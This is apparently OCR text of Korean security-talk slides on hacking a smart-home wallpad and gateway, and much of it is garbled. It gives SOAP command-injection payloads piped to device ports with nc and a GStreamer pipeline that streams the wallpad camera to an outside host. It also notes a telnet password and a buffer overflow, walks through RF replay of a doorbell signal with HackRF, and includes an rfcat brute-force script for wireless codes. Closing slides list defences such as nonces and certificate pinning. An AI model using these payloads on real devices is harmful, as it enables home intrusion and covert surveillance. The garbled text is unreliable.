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NET: Registereg pr

Bridge firewalling

502.1Q VLAN Support B4.s Ben Greear

All bugs addeq by David s. Miller <day

,\{;’3? SUPPOrt vo0.3: implementor 41 archi
']

tw9500:; Identify code (0x0), Rev (0)

[vip-0.0: register decoder nr = 0

'DONE: tw9900 connect to vip=0, j2c=0

nxp2120 Wallpad tw9900 Driver, (c) 2013 dadanMicrn -

Nxp2120 Wallpad HI-253Driver, (c) 2013 dadaaMicro Inc

RAMDISK: gzip image found at block 0

EXT2-fs warning: mounting unchecked fs, fanning e2fsck is Pecom

VFS: Mounted root (ext2 filesystem) on device 1:0.

Freeing init memory: 136K ¥

arning: unable to open an initial console.



https://www.youtube.com/watch?v=usyakFpspKs

(AHd 2 ®o| X{O|E
ASEUE FHYL
Loki, thank you!!)



lump  Search \fiew Debugger

Hoe-a- B & 3 o DO &

0000C160 sub_G1G0 _text:0000AOF4TP
:0886C1CE STHFD {R4,R5,LR}
108860104 Hou R4, RO
108060108
8806C1CC
8006C1D 0
0000C1DY
0000108
10000C1DC
8000C1ED
8000C1EY
0800C1ES
8806C1EC
:0886C1FO
0000C1FY
0000C1FS loc_C208
0000C1FC RO, -asbinInsmodLi 2 ; “/sbin/insmod /lib/modules/snart
8000C200 .systen
108860204 loc_C228
88000208
88000208
0000C208 loc G208 ; CODE XREF: sub_CACB+387j
00000208 RO, -asbinkmmodSmart ; “/shin/rnmod smart qos_mon”
100066200 _systen
10000C210 sub_c12e
108860214 RO, #1
88000218 sub_CF84
8800C21C RB, R4
108860220 sub_ENAC
100060224 sub_c188
100060228
00000228 loc G228 3 CODE XREF: sub_CAC8+307j
o000C228 3 sub_cicosunij
88000228 Hou RO, RS
8800C22C LDHFD  SPY, {R4,R5,PC}
.text:B800C22C ; End of function sub C1CH

141c0
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- HERIA {3l &4 (tcpdump + wireshark

: verbose output suppressed, use -v or -vv for full protocol decode
Ftening on eth®, Llink-type EN16HE (Ethernet), capture size 96 hytes
:39:00.239963 arp who-has 16-1-119-98,int.sds.uw.edu.pl tell 16-1-232-251.int.sds.uw.edu.pl
oxeee8: fFfFff Ffff ffff 0010 5ae6 4045 0806 8061
0x0016: 0300 8684 8001 8018 Saet do45 0adl e3fbh
0xf0620: 0000 0000 DODO ©a0l 775a 0000 0OOD 0000
0x00306: 0000 0000 0000 0000 0DOO 0000
01:39:80.240803 IP 10-1-225-220.int.sds.uw.edu.
680+ PTR? 90.119.1.10.in-addr.arpa. (42)
0x0060: 0030 4884 Sef6 000f ea39 doed 6308 4508
0x0010: 0046 1a89 4000 4011 2b41l 0a0l eldc Babl
0x0020: fefe 8012 0035 0032 520 0a75 0160 0001
6xf630: 0000 0000 PODO 8239 3003 3131 3901 3162 96.119.1.
0x0040: 3130 0769 6e2d 6164 6472 0461 7270 6160 10.in-addr.arpa.
6xf050: 6©08c 0001 veaa
01:39:80.253666 IP 10-1-254-254.int.sds.uw.edu.pl.domain > 10-1-225-220.int.sds.uw.edu.pl.32786:
680 1/6/86 PTR[|domain]
0x0000: 006f ea39 doed 0030 4884 5ef6 0800 4500 ...9...0H."...E.
0x0016: 0071 0000 4000 4011 459f 08a0l fefe 8abl .q..@.RQ.E.......
0x0020: eldc 0035 8012 005d 334c 0a78 8180 €001 ...5...]13L.x....
0x00306: 0001 0000 0000 8239 3063 3131 3901 3162
0x0040: 3130 0769 6Ge2d 6164 6472 0461 7270 6160 10.in-addr.arpa.
0x0050: 006c 08001 ceBc 000c 0PPLl 0001 4a78 001fF s
61:39:80.255938 IP 10-1-225-228.int.sds . uw.edu,.pl.32786 > 10-1-254-254.int.sds.uw.edu.pl.domain: 6
932+ PTR? 251.232.1.10.in-addr.arpa. (43)
0xB0060: 0030 4384 5ef6 000f ea39 doed 68300 4560 .BH."....9....
0x0010: 0047 la8d 4000 4811 2b3c 0a8l eldc Babl
0x0020: fefe 8012 0035 9033 521 1bl4 0100 001
Bx@h3i0: 00B0O 0066 6680 8332 3531 8337




1. telnet MH|A(/user/app/bin/telnetd)?t E2{ UoH,
passwd?l 4 Z 3} £lof QX Un IPIE=Z EPEHI *"’“E|°1 UK US

2. 2 Hiof F4 oi3lo] et &|of UX| ot 52t &l &4 2t5

3. 2& Hlof 341 mi3lof 15 FAF R ACL M|of2t M-8 &0 UX| %S

\J

olr

4. £74 MU|A(/user/app/bin/cmxnp)S Sl 12 Ao| FHa AlsH

)

5. 2 cmxnpS H|23H Y2 AMu|AE0| Buffer Overflow 3240] Z|2st
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IP X7 &

Gateway : 10.7.5.30
Wallpad : 10.7.5.31
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ADHEZ F[of T§2 ofiF

S Hlof o2

* payload.xml

POST/HTTP/1.1

Host: 127.0.0.1:29700 User-Agent: gSOAP/2.7 Content-Type: text/xml; charset=utf-8
Content-Length: 746

Connection: close

SOAPAction: ™

<7xml version="1.0" encoding="UTF-8"?><SOAP-ENV: E velope xmlns SOAF'-ENV—"htt
schemas.xmisoap.org/soap/encoding™ xmins:xsi="hitp.// e

xmins:ns1="urn: cds”><SOAP-ENV Body SOAF'-ENV encodlnSt Ie-"h Wi / ["><ns setnght>-|n>xdev>llght¢/dev>
mmabIeLevebO'!dlmmableLeve|> model=lightPower-Off</model><
g Off</lightSwitchMode><lightDevError=devError-no</lightDevError><func>f-
OAP-ENV: Body><fSOAP -ENV:Envelope>

* cat payload.xml | nc controller_ip 29700




AOLEZ F[o] THZI o]

" praylcad.xml

<?xml version="1.0" encoding="UTF-8"?>

<SOAP-ENV: Envelope xmlns SOAP-ENV="http:// . / : .
xmins:xsi="hit N [2001/XMLSchema- |nstance" xmlns xsd "hﬂ .org/e : <SOAP ENV Body
chDummy=

SOAP-ENV: encodmgstyle-”hﬁ /
</chDummy=></ns1: retheckEventhSOAP -ENV: Bodyxf’SOAF' -ENV: Envelope>

* cat payload.xml | nc controller_ip 29700




ADHEZ F[of T§2 ofiF

POST/HTTP/.1
User-Agent: kKSOAP/2.0
SOAPAction: none
Content-Type: text/xml
Connection: close
Content-Length: 465
Host: 127.0.0.1:29726
Accept-Encoding: gzip

<V Envelope xmlns i="htt

<in |type-“d strin in></n0-exec></v: Bodyw:*v Envelope>

* cat payload.xml | nc wallpad_ip 29726




AOLEZ HM|of TH3! o]

« 3H ZH4|2t/ato|A H|o]
- Gstreamer Library o|&

Y= M
# [user/app/bin/gst-launch-1.0 cmxvideosrc src=CMOS header=true xpos=0

ypos=0 width=0 height=0 bitrate=6 gop=6 Icd=true ! video/mpeg, mpegversion=4,
width=320, height=240, framerate=6/1 ! tcpserversink host=10.11.10.21 port=6161

off #H AH
# gst-launch-1.0 -v tcpclientsrc host=10.11.10.21 port=6161 ! filesink

location=/tmp/capture.mpg






https://youtu.be/ZSom8I-PAPY
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HackRF 271

- FMAUZ S4B

* 1MHz to 6 GHz operating frequency

*  half-duplex transceiver

+ compatible with GNU Radio, SDR#, and more
*  SMA female antenna connector

* Hi-Speed USB 2.0

+ USB-powered

* open source hardware



https://greatscottgadgets.com/hackrf/
http://store.isource-asia.com/products/hackrf-one
https://www.kickstarter.com/projects/mossmann/hackrf-an-open-source-sdr-platform

GNU Radio &

N untitled.grc - /Users/andy/Desktop - GNU Radio Companion

Complex To Float

Moise Source
Moise Type: Gaussian

Waterfall Plot

Dynamic
Loves
Ref Scale (p2p):
378
. 2548 | Axes
1248 |Time Scale:
odg [OMRS
se4p | Color: RGBL
3 Autoscale
3 .
> Do .
15 10 s o 5 10 15

enerating: *fUsers/andy/Desktopftop_block.py* Frequency (kHz2)
xecuting: */Users/andy/Desktopitop_block.py"

xiib: extension *RANDR" missing on display *tmp/launch-ssXaMforg.x:0".

[ Sources )

[ Sinks ]

[ Graphical Sinks ]
{ operators ]

[ Type Conversions )

> [ Stream Conversions )

[ Misc Conversions
{ Synchronizers ]

[ Level Controls )
[Fiters )
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http://gnuradio.org/
http://www.pentoo.ch/
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RF #It4(Frequency)

* 315, 433, 868, 915MHz :
* 13.56Mhz : RFID,
« 2.4Ghz : Wifi, Bluetooth, Zigbee,




« Industrial, Scientific and Medical (ISM)
o AA DISE 0|28 0F KLY EHN AMEE

.>M bands defined by the ITU-R are:l?!

Frequency range

6.765 MHz
13.553 MHz
26.957 MHz
40.660 MHz

433.050 MHz

902.000 MHz
2400 GHz

5725 GHz

24.000 GHz

61.000 GHz
122.000 GHz
244.000 GHz

6.795 MHz
13.567 MHz
27.283 MHz
40.700 MHz

434.790 MHz

928.000 MHz
2.500 GHz

5.875 GHz

24.250 GHz

61.500 GHz
123.000 GHz
246.000 GHz

Bandwidth

30 kHz
14 kHz
326 kHz
40 kHz

1.74 MHz

26 MHz
100 MHz

150 MHz

250 MHz

500 MHz
1GHz
2 GHz

Center
frequency

6.780 MHz
13.560 MHz
27.120 MHz
40.680 MHz

433.920 MHz

915.000 MHz
2450 GHz

5.800 GHz

24.125 GHz

61.250 GHz
122.500 GHz
245.000 GHz

C

ISMHHE

T

Availability

Subject to local acceptance
Worldwide
Worldwide
Worldwide

Region 1 only and subject to local
acceptance

Region 2 only (with some exceptions)

Worldwide

Worldwide

Worldwide

Subject to local acceptance
Subject to local acceptance

Subject to local acceptance

A O]

SENEE

e
M

Licensed users

Fixed & Mobile services
Fixed & Mobile services
Citizens band radio [@

Fixed & Mobile services
Amateur Radio (70 cm band) & Radar

Amateur Radio (33 ¢cm band), Mobile services & Radar
Amateur Radio (13 ¢cm band), Microwave links & Radar

Amateur Radio (5 cm band), Earth stations, Microwave links
& Radar

Amateur Radio (1.2 cm band) & Radar (K band Radar
guns)

Microwave links & Radar
Amateur Radio (2.5 mm band) & Microwave links

Amateur Radio (1 mm band), Radar & Radio Astronomy






https://youtu.be/4NW5m3PHCTg

M2 Record

Options
22 top_block
Generate Options: WX GUI

Variable
ID: samp_rate File Sink
Value: 20M File: ...a/r_data/ricar_left
Unbuffered: Off
Append file: Overarite

WX GUI Slider
1D: cantor_froq
Default Value: 27M osmocom Source

Minimum: 26M
R X
i B Sample Rate (sps): 20M

Converter: Float

ChO: RF Gain (dB): 10
ChoO: IF Gain (dB): 20 WX GUI FFT Sink
ChO0: BB Gain (dB): 20 Title: FFT Plat

Sample Rate: 20M

Basoband Froq: 27M

Y per Div: 10dB

Y Divs: 10

Ref Level (dB): 0

Ref Scak (p2p): 2

FFT Size: 1.024k

Refresh Rate: 15

Freq Set Varname: None




Options
J:top_block
Generate Options: WX GUI

Variable
1D: samp_rate
Value: 20M

File Source
File: ...d_data/dcar_foward

Repoat: Yeos

t12 Replay

osmocom Sink
Sample Rate (sps): 20M
ChO: Frequency (Hz): 27M
ChO: Freq. Com. (ppm): 0
ChO: RF Gain (dB): 10
ChO: IF Gain (dB): 20
Cho: BB Gain (dB): 20

WX GUI FFT Sink
Title: FFT Plot
Sample Rate: 20M
Baseband Freq: 0
Y per Div: 1048
Y Divs: 10
Ref Level (dB): 0
Ref Scale (p2p): 2
FFT Size: 1.024k
Refresh Rate: 15
Freq Set Varname: None




Sk !



https://youtu.be/zfoUI6Z5RBo

RF replay examples..



https://youtu.be/i6-yqsW2mKc
https://youtu.be/M1YYRAGeuRE
https://youtu.be/xT5masLZ2eI
https://youtu.be/1nE0TrR9AjA

RF replay attack2 ‘EoiAl..



save
. )'9 ~57~34-51-48-45 42 Ciic oring 1 -18-15-129 6 3.0

*l » 54 9| 4"%%”

= 2 (Stereo) Recordin ngChan.. ¢ uzsx [ _
1.0500 1.0510 1.0520 1.0?30 1.0540 l.O;SO 1.0560 !.0570 1-05” msn ’,," 00

Ly G LB ORI
AL |||g|1*ll 1 Hi LR
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RF Signal Modulation



Modulation

. ASK_ FSK 253|o|M




FSK o|A]

* Frequency-Shift Keying

Baseband data: .. .l

FSK modulated




FSK Modulation

)
B’Q W3 ojo|3 H 24 (Stereo) Recordi ng Chan... [ 4) Uz & %)

1.0490 1.0500 1.0510 1.0520 1.0530 1.0540 1.0550 10560 10570 |, 1.0580  1.0590

10




ASK oA

* Amplitude-Shift Keying

Baseband data: .. ..

ASK modulated
signal:







ASK-OOK Modulation

B. 2_(Storeo) Re::ording Chan... H 1) LHQ &e ” " uum‘ﬁﬂﬁ 2\ 7

/0 1.82470 182490 1.82510 1.82530 1.82550

1.82570 1.82590 1.82610 1.8263"" 1.82650

»
-
e

™
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https://www.youtube.com/watch?v=Ov6QN6C8i38
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* hackrf fm
— RF signal dumper

* SOX
— Swiss army knife of sound processing
— Apt-get install sox
— Port install sox

» Audacity
— Sound player



Wav 344

* # hackrf_fm -f 311000000 -s 2000000 | sox -t raw
-r 2000000 -e signed-integer -b 16 -c 1 -V1 -
call_bell.wav

callbell1

B o 4z s
0.70 0.80 0.90 5 = 1.30 1.40

i
i@ el

AN dle #3l:

O m 01 s+1012000 samplesy 00 h 00 m 00 st0000693 samples




callbell1
[—-57—-54-54-48-%—-42 Click to Stan Momlorln
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RF Programming



- 17|7} O|5te| Fu}=

- 315/433/868/915MHz ISM/SRD bands
- FSK, ASK modulation

- Up to 500Kbps on air data rate

- 3.6V supply range

-Datasheet



http://www.ti.com/product/cc1110-cc1111




Rfcat &A1

It S : Sub-1 GHz (300~928Mhz)
Modulation : 2FSK, GFSK, MSK, ASK, OOK
http://int3.cc/products/rfcat




Rfcat AX]

* pip install pyusb
* hg clone .
« python setup.py install

somany to !ll‘

- “(:m:thro:ont ulll{zu??’ 4
(mtorrupmﬂ 9 clone mps://uimc
Pente

re . "“"Wﬂl

cat g ""0&/
Tunnyng insy u”"‘"n Setup, instayy oy
Tunning 1

runnlng bu y
€opying rfub/'rm
Tunning buud_scn:i:"“on'”
runni.ng 1nstall b
Copying buud/lib/rmh/rrun
Yte-compiyjng /usr. 1b/pythoﬁ;?;;:::i
runnlng 1nsta11_scr19ts
changlng mode of /usr/bin/bootlm
chanolng mode of /usr/bln/r?ut»u
changlng mode of /usr/bxn/rfcat to
running install_egg info
ving /usr,

Writing /us"/x o
Pentoo rfcat s P

ntoo rfcat # rfca ince Frequency Hopping!
?;fCat. the greatest thing sinc

> bulld/llb/rﬂlb

Py -> lu:r/ub/nnho /51ty
-uckms/rﬂn/rm ¥

b
power of rf
e: enjoy the raw

Research Mod

is
urrently yo onmen *d* for dongle. this

t ot i /
ur env. KX

rl ::ract with the rfcat dong

you in

.ping() )
7 Gt oo
>>> :'::::gktFLEN(zm

"HALLO")

>>> t("HALL

Fxmi

e :::Fr“"“ rRadioConfig(}

i priﬂt d.rep

11: d.pano Ol v



https://bitbucket.org/atlas0fd00m/rfcat

Rfcat At-g- ol

‘rfcat ¢ rftdt -t
ff[dt the qrEth 1 thlﬂq since Frequency Hopping!'

Research Mode: enjoy the raw power of rflib

currently your environment has an object called "d" for
you interact with the rfcat dongle:
> d.plng()
»>>» d.setFregql4330808880 )
.setMdmModul ation{MOD_ARSK_00K >
.makePktFLEN(258)
RFxmitC"HALLO")
JRFrecy( )

>33 print d.reprRadioConfig()

dongle,

this is how




Stereo) Recording Ch... [ ) (ueies




>>> d.setFreq(311000000)

>>> d.setMdmModulation(MOD_ASK_OOK)
>>>

>>> bits=100,1,0,1,1,0,1,1,0,0,1,0,1,0,1,1,1,0,0,0, 1,1, 1, 1, 0]
>>>

>>> payload = "Wx00"

>>> for bit in bits:

>>> |f bit == 0:

>>> payload += "Wxff"*1 + "#x00"*6
>>> else:

>>> payload += "#Wxff"*5 + "Wx00"*2
>>>

>>> payload = (payload + "Wx00"*10) * 2
>>>

>>> d.RFxmit(payload)
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2 Brute Forcing

d.setFreq(311000000)
d.setMdmModulation(MOD_ASK_OOK)

count = 0
for i in range(0xA190A, OxOFFFFF):
bits = list()
for bit in bin(i)[2:].Zfill(20):
bits.append(bit)

# for test
bits

# finish bits
bits.append(1)
bits.append(1)
bits.append(1)
bits.append(1)
bits.append(0)
payload = "wx00"
for b in bits:
if b=="0"
payload += "Wxff"*1 + "Wx00"*6
else:
payload += "Wxff"*5 + "Wx00"*2
payload = (payload + "Wx00"*10) * 2
for | in range(0, 3):
d.RFxmit(payload)

count = count+1
if count%1000 == 0:
print count
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https://www.youtube.com/watch?v=gew-syORJkE

S0 CiAs

Timestamp
— 54 Hiof I3 Qtof| AIRFFEF | Tt
— 18 AIRF HRIHe| mi3lo] ofL|2tH SAlSHCE,

ID EE& dAl 9 2.
— 20H|EHRCIE ¢ Z2..! Brute Force ¥X|

Nonce
— Of 8% AIOICH HFRl= nonce gf2 ©-&6to] Y=t
— fA7%go| BLIH 8T nonce gt 2|
— 8ll#12t packet replay attackE 3 T nonce?} Ct22| T 20l packeto| FA|IE

RSA + Certificate Pinning
— B2XA HshT! public key?t AHESIEE 7Y
«  Ex> wallpad A2 public keyt AtE 2t5

Permanent Session
— ZYESRIA MAY XX X2|3t Al random$t Session key 8/d & gateway®t wallpad?t 5-&
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Special thanks to 22|, BtAIst



